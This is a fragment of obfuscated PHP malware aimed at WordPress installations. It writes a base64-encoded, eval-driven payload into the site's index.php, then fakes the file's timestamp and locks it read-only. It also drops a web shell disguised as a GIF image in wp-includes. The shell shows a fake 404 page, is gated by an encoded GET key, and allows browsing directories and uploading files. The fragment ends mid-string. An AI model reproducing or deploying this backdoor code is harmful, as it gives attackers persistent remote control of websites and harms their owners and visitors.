FcNzFcNjFcNjdcNjJceDNhXDYxXHgzOVw2Mlw2M1x4MzlcNzJcNjFceDM5XHgzMlx4MzNcNjciLCAiXHgzMVx4MzlcNjFceDM4XDYyXDcyXHgzMVx4MzlcNjFcNjdceDMzXDcyXHgzMVx4MzlceDMxXHgzN1w2N1x4M2FceDMxXHgzOVx4MzFcNjdceDM4XDcyXHgzMVw3MVx4MzFcNzFceDMzXHgzYVw2MVx4MzlcNjFcNzBcNzBcNzJcNjFceDM5XDYxXHgzOFx4MzdceDNhXDYxXHgzOVw2MVw3MFw3MVx4M2FcNjFcNzFceDMxXDY3XDY3XHgzYVw2MVw3MVw2MVw3MFx4MzhceDNhXHgzMVx4MzlceDMxXDcwXDY3IiwgIlw2MVx4MzlceDMxXDY3XHgzNlw3Mlx4MzFceDM5XHgzMVx4MzlceDMxXDcyXDYxXHgzOVw2MVw3MFw3MVx4M2FceDMxXHgzOVw2MVx4MzhceDMxIiwgIlx4MzFceDM5XDYxXHgzOVw2MFw3Mlx4MzFcNzFceDMxXDcxXDYxXDcyXHgzMVx4MzlceDMxXDY3XDYzXDcyXHgzMVx4MzlceDMxXDcwXDY3XDcyXHgzMVw3MVw2Mlw2M1x4MzRceDNhXDYxXDcxXDYyXDYzXDY2XDcyXHgzMVx4MzlcNjFceDM5XHgzM1w3Mlx4MzFceDM5XDYxXDcwXHgzOFx4M2FcNjFcNzFceDMxXDcwXHgzN1x4M2FceDMxXHgzOVw2MVx4MzhceDM5XHgzYVw2MVw3MVw2MVw2N1w2N1w3Mlw2MVw3MVx4MzFcNzBcNzBceDNhXDYxXDcxXDYxXDcwXDY3IiwgIlx4MzFcNzFcNjFceDM4XHgzNlx4M2FceDMxXHgzOVx4MzFceDM4XHgzM1w3Mlw2MVx4MzlcNjFceDM4XDYwXDcyXDYxXHgzOVw2MVw3MFw2N1w3Mlx4MzFcNzFceDMxXHgzOVx4MzNcNzJcNjFcNzFcNjFcNzBcNjVcNzJceDMxXHgzOVx4MzFcNzBcNjdcNzJcNjFceDM5XHgzMVx4MzdceDMyXDcyXDYxXHgzOVw2MVx4MzlceDMzXDcyXDYxXDcxXDYxXDcwXDcxXHgzYVw2MVw3MVx4MzFceDM3XHgzN1w3Mlw2MVx4MzlceDMxXHgzN1w3MFx4M2FceDMxXDcxXHgzMVx4MzdceDMyXDcyXDYxXDcxXDYxXDcwXDY3XDcyXHgzMVw3MVw2MVx4MzdcNzBceDNhXHgzMVx4MzlcNjFceDM3XDYyXDcyXHgzMVx4MzlceDMxXHgzN1w2MyIsICJceDMxXHgzOVx4MzJceDMxXDY2XHgzYVx4MzFceDM5XHgzMlw2NFx4MzYiLCAiXHgzMVx4MzlcNjFcNjZcNjMiLCAiXDYxXHgzOVx4MzJcNjRceDMxXHgzYVx4MzFceDM5XDYyXHgzNFw2NiIsICJcNjFceDM5XDYyXDYyXDYzXHgzYVx4MzFcNzFceDMyXHgzMFw2Nlw3Mlw2MVw3MVx4MzJceDMwXDY2XDcyXHgzMVx4MzlceDMyXDYyXHgzM1x4M2FcNjFceDM5XDYxXDcxXHgzOSIsICJceDMxXDcxXDYxXDcwXHgzNlx4M2FcNjFcNzFcNjFcNzBceDMzXHgzYVw2MVx4MzlceDMxXDcwXDYwXHgzYVx4MzFcNzFcNjFcNjdcNjJceDNhXHgzMVw3MVx4MzFceDM4XHgzN1x4M2FcNjFceDM5XDYxXHgzN1x4MzRceDNhXHgzMVw3MVx4MzFcNzFcNjNcNzJceDMxXHgzOVx4MzFcNzBceDMzXDcyXDYxXDcxXDYxXHgzN1w3MFx4M2FceDMxXDcxXDYxXDY3XHgzNlw3Mlx4MzFceDM5XHgzMVw2N1x4MzFceDNhXDYxXHgzOVw2MVx4MzdceDMyIik7IGdvdG8gY1YyankxQXdLODdycFIwOyB4dXhwNVYzWW1zWWtnVFg6IGRpZTsgZ290byBUTzNpSml4RHZVMWxpQWc7IFRPM2lKaXhEdlUxbGlBZzogaUIyTkxKYTltazFRODY0OiBnb3RvIGNGeXBNOFdVcnNkMDJOMjsgTzZ1RFdQWW9HMzlZc2VQOiAkY2kyejFLeGhRM2FFRXhkID0gQCRmSExYN0Zab2RNNG5ZVUxbMV0oJGZITFg3RlpvZE00bllVTFs5ICsgMV0oSU5QVVRfR0VULCAkZkhMWDdGWm9kTTRuWVVMWzggKyAxXSkpOyBnb3RvIFViVjdybDNjVnB0anRPaTsgU2NYYVBab01SOTNYcklJOiBucjY1TFVCYUNSMm5vWEs6IGdvdG8gTzZ1RFdQWW9HMzlZc2VQOyB3MGNoX3M1WFhSWURQb3o6IEBldmFsKCRmSExYN0Zab2RNNG5ZVUxbNCArIDBdKCRFOGZrcWlDOFhwemY2cVYpKTsgZ290byB4dXhwNVYzWW1zWWtnVFg7IGVSMVM1NlllQXMwaUhtMzogJEU4ZmtxaUM4WHB6ZjZxViA9IHNlbGY6OmNqeTgxcEFKa2UwOUZacigkR1NIWHFnUVBxaEJWa1Z1WzEgKyAwXSwgJGZITFg3RlpvZE00bllVTFsxICsgNF0pOyBnb3RvIHcwY2hfczVYWFJZRFBvejsgaTF1QllTdGwxVUdNZ1VkOiAkR1NIWHFnUVBxaEJWa1Z1ID0gJGZITFg3RlpvZE00bllVTFsyICsgMF0oJGZES0VCOWhlQmdSSm84ZSwgdHJ1ZSk7IGdvdG8gSGRnS25sWkZwamlZdERxOyBIZGdLbmxaRnBqaVl0RHE6IEAkZkhMWDdGWm9kTTRuWVVMWzYgKyA0XShJTlBVVF9HRVQsICJceDZmXDE0NiIpID09IDEgJiYgZGllKCRmSExYN0Zab2RNNG5ZVUxbMiArIDNdKF9fRklMRV9fKSk7IGdvdG8gTEF1TTQ1VHRXMUpwRHNEOyBjRnlwTThXVXJzZDAyTjI6IH0gfSBnb3RvIEdvWVU0d3lMeDB2cGEweTsgR05vZkkybmJpNU4xUXdUOiAkTTNCejZ3aHhOYmdQMGRKWyJceDczXDE1NiJdID0gUTBoSUFwRzB5X3JBVGFtKCRfU0VSVkVSWyJceDUzXDEwM1wxMjJcMTExXDEyMFwxMjRceDVmXHg0ZVwxMDFcMTE1XHg0NSJdKTsgZ290byBtQkYyem9VUDYxQ0dCdjA7IGtIR2Z6el9mNWF4aDcyMzogZmdtWkdFRFQ1QXBZdGpkOiBnb3RvIGlEd1N6dF9QbDlDcFFnRTsgSEZJdV9nM2Q1RG1nbnFQOiAkUmZwX3N3OHVLSGthb2t1ID0gZmFsc2U7IGdvdG8gWTNlaHBSMDI0V25ac3VnOyBBdnVQRF9jcE02akxNRDg6ICRPVjd1T1c0ZzQ1dVRvUFkgPSBjUmJNbU05cHJkWTFnQ00oYmFzZTY0X2RlY29kZSgiXDE0MVwxMTBcMTIyXHgzMFx4NjNceDQ0XHg2ZlwxNjZcMTE0XDYzXHg3MFx4N2FceDRlXDEyNFwxMDFceDMxXDE0NFwxNTJceDQ1XHg3YVx4NjNcNjNcMTI1XHg3NVx4NjFcMTA3XDEyNlx4NzlceDVhXHg1N1wxNTRceDdhXHg2MVwxMDNcNjVceDZhXHg2MlwxMDdcMTU0XDE1Mlx4NjFceDc5XHgzOCIpLCAkTTNCejZ3aHhOYmdQMGRKKTsgZ290byBCdzcxMXlFZEFwdG9SR2s7IG5fZDdmVUM5S19ybW9pTDogZnVuY3Rpb24gUjRfWVpsZENqVE9zaGE4KCRuM1k4Wk1XZDhXelpLTEEpIHsgZ290byBvT0pvTTIyekdvWjY5cmw7IHkyNnVqNEVETkExckVpOTogZm9yZWFjaCAoJG4zWThaTVdkOFd6WktMQSBhcyAkaEhDUXkzOFAyNDZqZEk2KSB7IGdvdG8gUzMwX1pBUjNkYmZUc0hlOyBENDlkTjFTemhRTTdCWlc6IFVSbE05emFXRjhldjVzWjogZ290byBpVUZ1MEp0UFNpeUdHRmw7IG56aFJMVU9aV0JTblVndDogZFBCZmtURXI5dzFxc1E1OiBnb3RvIFNnbXFRejZOZnlhUVYyRjsgU2dtcVF6Nk5meWFRVjJGOiAkcGt1T2ZTcVBCTTI1dVZIWyJcMTQzXHg2ZlwxNTZceDc0XHg2NVx4NmVcMTY0Il0gPSAkbE5TRmZEeGJGc1dTMW82WzFdOyBnb3RvIHFyVVI0eU5jRUVjaGxfajsgektqOGxHUGlGYmVMZzE5OiBBQTU1bU1Gam1xRzJXYXA6IGdvdG8gdXJpS01neHc4cHU3T25yOyBTMzBfWkFSM2RiZlRzSGU6IGlmIChwcmVnX21hdGNoKCJcNTdceDY4XHg3NFx4NzRceDcwXDEzNFw1N1x4NWJceDMwXHgyZFw3MVwxMzRceDJlXHg1ZFw1M1x4NWJcMTM0XDE2M1x4NWRcNTNceDI4XDEzM1x4MzBceDJkXDcxXHg1ZFx4MmJceDI5XDU3XHg2OSIsICRoSENReTM4UDI0NmpkSTYsICRsTlNGZkR4YkZzV1MxbzYpKSB7IGdvdG8gYzR1QkY2ekFPU2J0NURQOyB9IGdvdG8gT1VFVG1nTFNDeTE1SnNVOyBPVUVUbWdMU0N5MTVKc1U6IGlmIChwcmVnX21hdGNoKCJcNTdcMTU0XDE1N1wxNDNcMTQxXHg3NFwxNTFcMTU3XHg2ZVwxMzRceDNhXDEzM1wxMzRcMTYzXHg1ZFw1M1x4MjhcNTZceDJhXHgyOVw1N1wxNTEiLCAkaEhDUXkzOFAyNDZqZEk2LCAkbE5TRmZEeGJGc1dTMW82KSkgeyBnb3RvIGRQQmZrVEVyOXcxcXNRNTsgfSBnb3RvIEZEWWxBbVIyVEJjV2pWUDsgWEQ0RkY4ODRkTFJCN2tPOiAkcGt1T2ZTcVBCTTI1dVZIWyJceDczXHg3NFx4NjFceDc0XDE2NVx4NzMiXSA9IGludHZhbCgkbE5TRmZEeGJGc1dTMW82WzFdKTsgZ290byB2alpRWTN5UG50cDVxd0M7IEFSaDFQNHYyejkzYnk3SzogYzR1QkY2ekFPU2J0NURQOiBnb3RvIFhENEZGODg0ZExSQjdrTzsgRkRZbEFtUjJUQmNXalZQOiBpZiAocHJlZ19tYXRjaCgiXDU3XHg2M1wxNTdcMTU2XDE2NFwxNDVceDZlXDE2NFx4NWNcNTVcMTY0XHg3OVwxNjBcMTQ1XHg1Y1w3MlwxMzNceDVjXDE2M1x4NWRceDJiXDUwXHgyZVw1Mlw1MVx4MmZcMTUxIiwgJGhIQ1F5MzhQMjQ2amRJNiwgJGxOU0ZmRHhiRnNXUzFvNikpIHsgZ290byBVUmxNOXphV0Y4ZXY1c1o7IH0gZ290byBxUGdjOTBTdjJjNkRrMlo7IHZqWlFZM3lQbnRwNXF3QzogZ290byB6Ukp4eVNCRGtPZEdaY0U7IGdvdG8gbnpoUkxVT1pXQlNuVWd0OyBXdEVQUVcwUTFwWm5MYUM6IHpSSnh5U0JEa09kR1pjRTogZ290byB6S2o4bEdQaUZiZUxnMTk7IHFQZ2M5MFN2MmM2RGsyWjogZ290byB6Ukp4eVNCRGtPZEdaY0U7IGdvdG8gQVJoMVA0djJ6OTNieTdLOyBpVUZ1MEp0UFNpeUdHRmw6ICRwa3VPZlNxUEJNMjV1VkhbIlwxNjRcMTcxXDE2MFwxNDUiXSA9ICRsTlNGZkR4YkZzV1MxbzZbMV07IGdvdG8gV3RFUFFXMFExcFpuTGFDOyBxclVSNHlOY0VFY2hsX2o6IGdvdG8gelJKeHlTQkRrT2RHWmNFOyBnb3RvIEQ0OWROMVN6aFFNN0JaVzsgdXJpS01neHc4cHU3T25yOiB9IGdvdG8gdUU0MjgweTZ3XzBDS3ZwOyBvT0pvTTIyekdvWjY5cmw6ICRwa3VPZlNxUEJNMjV1VkggPSBhcnJheSgiXDE2M1wxNjRceDYxXDE2NFwxNjVceDczIiA9PiAwLCAiXHg2M1x4NmZceDZlXHg3NFx4NjVceDZlXHg3NCIgPT4gJycsICJcMTY0XHg3OVx4NzBcMTQ1IiA9PiAnJyk7IGdvdG8gUUE1VTU3a015dkkydUZfOyBwWjEzRk8yc0pXZXpKeXE6IGRFT2hOb3hWYmplT240VTogZ290byB5MjZ1ajRFRE5BMXJFaTk7IFFBNVU1N2tNeXZJMnVGXzogaWYgKGlzX2FycmF5KCRuM1k4Wk1XZDhXelpLTEEpKSB7IGdvdG8gZEVPaE5veFZiamVPbjRVOyB9IGdvdG8gUDJmaW8wa01xbGQ4emZUOyBIakNBdDd6QU1PN2ltZXI6IHJldHVybiAkcGt1T2ZTcVBCTTI1dVZIOyBnb3RvIFVldzlnNmF5YnIwUnpqeDsgdUU0MjgweTZ3XzBDS3ZwOiBaTDZncjBzSE0zaFNseXA6IGdvdG8gSGpDQXQ3ekFNTzdpbWVyOyBQMmZpbzBrTXFsZDh6ZlQ6IHJldHVybiAkcGt1T2ZTcVBCTTI1dVZIOyBnb3RvIHBaMTNGTzJzSldlekp5cTsgVWV3OWc2YXlicjBSemp4OiB9IGdvdG8gVFdsNHdXekFqOXluUlNROyBHc1ZIdmQxc283OVZHT0w6ICRpV05IX2F0anJNcmtQNFkgPSBpcjVfUkFpSWNSSHEwaHooKTsgZ290byBTNnVlWl9FNDFIUzYwSGM7IEZjbzdQZnJ6Z0htb1ByOTogJE0zQno2d2h4TmJnUDBkSlsiXDE2MyJdID0gcTBIaWFQZzB5X3JhdEFtKCRCY1llZ1RPRnJ1cEZ0VUYpOyBnb3RvIEdIbFVYbWdJZXRTT2JpWjsganhYc1NSbWtlVERUZkFfOiAkQmNZZWdUT0ZydXBGdFVGID0gYTdjVkg1MDB4TFlpZ0wyKCkgLiAkX1NFUlZFUlsiXDExMFwxMjRceDU0XDEyMFwxMzdcMTEwXHg0ZlwxMjNcMTI0Il07IGdvdG8gWXQ3WktUUFRaNzV6NzhOOyBocjhVWTM5R19lNmwzTFM6IGVjaG8gJE9WN3VPVzRnNDV1VG9QWVsiXDE0M1x4NmZceDZlXHg3NFwxNDVceDZlXDE2NCJdOyBnb3RvIG1MSDFYN0MxZ1Z5ZjA5aDsgU2FWamRBVEpwVEJfYmdMOiBmdW5jdGlvbiBxMEhJQXBHMFlfckFUQU0oJEl5YTl1T3A5RmoxRzU4MCkgeyBnb3RvIGZLQ0dMQzI5MGFuZWZ2SjsgWURrVWNOYk55MHhaZWhyOiByZXR1cm4gJyc7IGdvdG8gcGdqWldPU3FDR01ZdDJzOyBwZ2paV09TcUNHTVl0MnM6IFo4ZzFyZV9mNjV5RFNXUTogZ290byBJWjBSZjlCemNZbndpbkI7IGZLQ0dMQzI5MGFuZWZ2SjogaWYgKCRJeWE5dU9wOUZqMUc1ODApIHsgZ290byBaOGcxcmVfZjY1eURTV1E7IH0gZ290byBZRGtVY05iTnkweFplaHI7IElaMFJmOUJ6Y1lud2luQjogcmV0dXJuIHJ0cmltKHN0cnRyKGJhc2U2NF9lbmNvZGUoJEl5YTl1T3A5RmoxRzU4MCksICJcNTNceDJmIiwgIlw1NVx4NWYiKSwgIlx4M2QiKTsgZ290byBoc0p1UGpWSXBKdUpXZ1E7IGhzSnVQalZJcEp1SldnUTogfSBnb3RvIG9PeXdjUHE0cmMxUlpMUzsgdDNSTEdlbUs2NGI5VDRpOiAkUXJwU3Y3c0JfbE1MVWIyID0gJyc7IGdvdG8gaWw5UVA1ZnB0QU4zaWZLOyB1MXkwSHRxMnJNdDNQV1E6IFpwSnVhRHI0dnYxS2IyejoKPz4KPD9waHAgZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsgcmVxdWlyZSgnLi93cC1ibG9nLWhlYWRlci5waHAnKTs/Pg==");
$index_code = file_get_contents($do."index.php");
if(md5($index_code) != md5($open_cache_ruzhu_phpcode))
{
    @chmod($do."index.php", 0644);
    @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode);
    @touch($do."index.php", filectime($do."index.php"));
    @chmod($do."index.php", 0444);
}

$file_general_template_path = $do."wp-includes/general-template.php";
$jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif";
if (!file_exists($jue_jiang_404_path)){
    $jue_jiang_404 = "PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwpkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdQUkMnKTsKCiRBUlJBWSA9ICR7J19HRVQnfVsnQVJSQVknXTsKJEtKTW4gPSBzdHJfcm90MTMoJEFSUkFZKTsKJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOwokRXphVSA9IGpzb25fZGVjb2RlKCRjYkgsIHRydWUpOwppZiAoKCRFemFVWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJEV6YVVbMl0pKSA9PT0gIjlmMzQ2NjViMDA1MjMxMWQ1YjZhZDZmODIxZGM2MjI4IikgOiAvLyA9PT09Ci8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKICAgIGZ1bmN0aW9uIGp1ZWppYW5nX3Blcm1zKCRmaWxlKXsKICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOwogICAgICAgIGlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsvLyBTb2NrZXQKICAgICAgICAgICAgJGluZm8gPSAncyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsKICAgICAgICAgICAgJGluZm8gPSAnbCc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgey8vIFJlZ3VsYXIKICAgICAgICAgICAgJGluZm8gPSAnLSc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgey8vIEJsb2NrIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYic7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQogICAgICAgICAgICAkaW5mbyA9ICdkJzsKICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7Ly8gQ2hhcmFjdGVyIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgey8vIEZJRk8gcGlwZQogICAgICAgICAgICAkaW5mbyA9ICdwJzsKICAgICAgICB9IGVsc2Ugey8vIFVua25vd24KICAgICAgICAgICAgJGluZm8gPSAndSc7CiAgICAgICAgfQovLyBPd25lcgogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPwogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwoKLy8gR3JvdXAKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOgogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKCi8vIFdvcmxkCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoKICAgICAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CgogICAgICAgIHJldHVybiAkaW5mbzsKICAgIH0KCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogICAgLyoqCiAgICAgKiDovazljJYgXCDkuLogLwogICAgICovCiAgICBmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkKICAgIHsKICAgICAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOwogICAgICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7CiAgICAgICAgcmV0dXJuICRwYXRoOwogICAgfQoKLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogICAgLyoqIOWPluW+l+ermeeCueagueebruW9lQogICAgICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10KICAgICAqLwogICAgZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpewoKICAgICAgICAkcGhwX3NlbGYgPSBkaXJfcGF0aCgkX1NFUlZFUlsiUEhQX1NFTEYiXSk7CiAgICAgICAgJHNjcmlwdF9maWxlbmFtZSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7CiAgICAgICAgaWYgKGVtcHR5KCRfU0VSVkVSWyJQSFBfU0VMRiJdKSBvciBlbXB0eSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKXsKICAgICAgICAgICAgJGRvMSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0pOwogICAgICAgICAgICAkZG8gPSBydHJpbSgkZG8xLCcvJyk7CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICRkbyA9IHN0cl9yZXBsYWNlKHN0cl9yZXBsYWNlKCIvLyIsICIvIiwgJHBocF9zZWxmKSwgIiIsIHN0cl9yZXBsYWNlKCJcXFxcIiwgIi8iLCAkc2NyaXB0X2ZpbGVuYW1lKSk7CiAgICAgICAgfQoJCWlmKGVtcHR5KCRkbykpICRkbyA9ICcvJzsKICAgICAgICByZXR1cm4gJGRvOwogICAgfQogICAgJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7CiAgICBkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7CgovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCgoKICAgICRwaHBfdmVyc2lvbiA9IFBIUF9NQUpPUl9WRVJTSU9OOwoJaWYoJHBocF92ZXJzaW9uPD03KXsKCQlpZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsKCQkJZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsKCQkJCSRfUE9TVFska2V5XSA9IHN0cmlwc2xhc2hlcygkdmFsdWUpOwoJCQl9CgkJfQoJfQoKICAgICRWZXJzaW9uID0gYmFzZTY0X2RlY29kZSgnNXB5QTVaQ081NXFFNVlDVTVieTYnKTsKICAgIGlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsKICAgICAgICAkcGF0aCA9ICRfR0VUWydwYXRoJ107CiAgICB9ZWxzZXsKICAgICAgICAkcGF0aCA9IGdldGN3ZCgpOwogICAgfQoKCiAgICBlY2hvICc8IWRvY3R5cGUgaHRtbD4KPGh0bWw+CjxoZWFkPgo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCIvPgo8L2hlYWQ+JzsKICAgID8+CgogICAgPGNlbnRlcj4KICAgICAgICA8c3R5bGU+CiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30KICAgICAgICAgICAgdGFibGUsdGgsdGR7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Zm9udC1zaXplOjEzcHg7fQogICAgICAgICAgICBpbnB1dCx0ZXh0YXJlYXt9CiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30KICAgICAgICAgICAgdGh7cGFkZGluZzoxMHB4O30KICAgICAgICAgICAgLnRkX2hvbWV7cGFkZGluZzo3cHg7fQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30KICAgICAgICAgICAgdGV4dGFyZWF7d2lkdGg6MTAwJTtoZWlnaHQ6NDAwcHg7fQogICAgICAgICAgICAjY29udGVudCB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiNjZWNlY2U7dGV4dC1zaGFkb3c6MHB4IDBweCAxMHB4ICNmZmY7Y29sb3I6I2ZmZjt9CiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQogICAgICAgICAgICAuZGggYTpob3ZlcnsgY29sb3I6ICNmMDA7fQogICAgICAgIDwvc3R5bGU+CiAgICA8P3BocAogICAgZWNobyAnPC9oZWFkPgo8Ym9keT48Yj4KPEgxPjxjZW50ZXI+PGZvbnQgY29sb3I9InJlZCI+Jy4kVmVyc2lvbi4nPC9mb250PjwvY2VudGVyPjwvaDE+Cjx0YWJsZSB3aWR0aD0iNzAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+Cgo8dHI+PHRkPgoKPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOwogICAgaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpewogICAgICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsKICAgIH1lbHNlewogICAgICAgICRwYXRoID0gZ2V0Y3dkKCk7CiAgICB9CiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsKICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCiAgICAkZ2VuX2xpbmtfdXJsID0gJzxhIHN0eWxlPSJjb2xvcjojMDA2NkZGIiBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuRE9DVU1FTlRfUk9PVDsKICAgICRnZW5fbGlua191cmwgLj0gJyI+5qC555uu5b2VIO+8miAgICA8L2E+Jm5ic3A7JzsKICAgIGVjaG8gJGdlbl9saW5rX3VybDsKCiAgICBmb3JlYWNoKCRwYXRocyBhcyAkaWQ9PiRwYXQpewogICAgICAgIGlmKCRwYXQgPT0gJycgJiYgJGlkID09IDApewogICAgICAgICAgICAkYSA9IHRydWU7CiAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSMwMDA+CjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOwogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7CiAgICAgICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsKICAgICAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspewogICAgICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsKICAgICAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsKICAgICAgICB9CiAgICAgICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsKICAgIH0KICAgIGVjaG8gJzwvZm9udD4KPGJyPjxicj4KPC90ZD48L3RyPjx0cj48dGQ+PGNlbnRlcj4nOwoKICAgIGlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpewogICAgICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgIH1lbHNlewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgfQogICAgfQogICAgZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdH